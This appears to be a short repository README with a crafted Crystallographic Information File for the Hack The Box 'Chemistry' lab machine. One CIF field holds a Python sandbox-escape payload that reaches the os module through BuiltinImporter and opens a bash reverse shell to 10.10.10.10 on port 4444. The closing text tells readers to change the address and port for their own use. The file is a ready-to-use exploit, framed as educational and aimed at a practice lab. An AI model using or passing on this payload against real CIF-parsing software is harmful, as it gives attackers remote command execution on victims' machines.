This repository contains a Crystallographic Information File (CIF) intended for use on the "Chemistry" machine on Hack The Box (HTB).
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.10.10/4444 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
A system command is embedded in the _space_group_magn.transform_BNS_Pp_abc
field. Modify the the system("/bin/bash -c 'sh -i >& /dev/tcp/10.10.10.10/4444 0>&1'")
portion to suit your specific network or system requirements.
This file is provided for educational purposes only.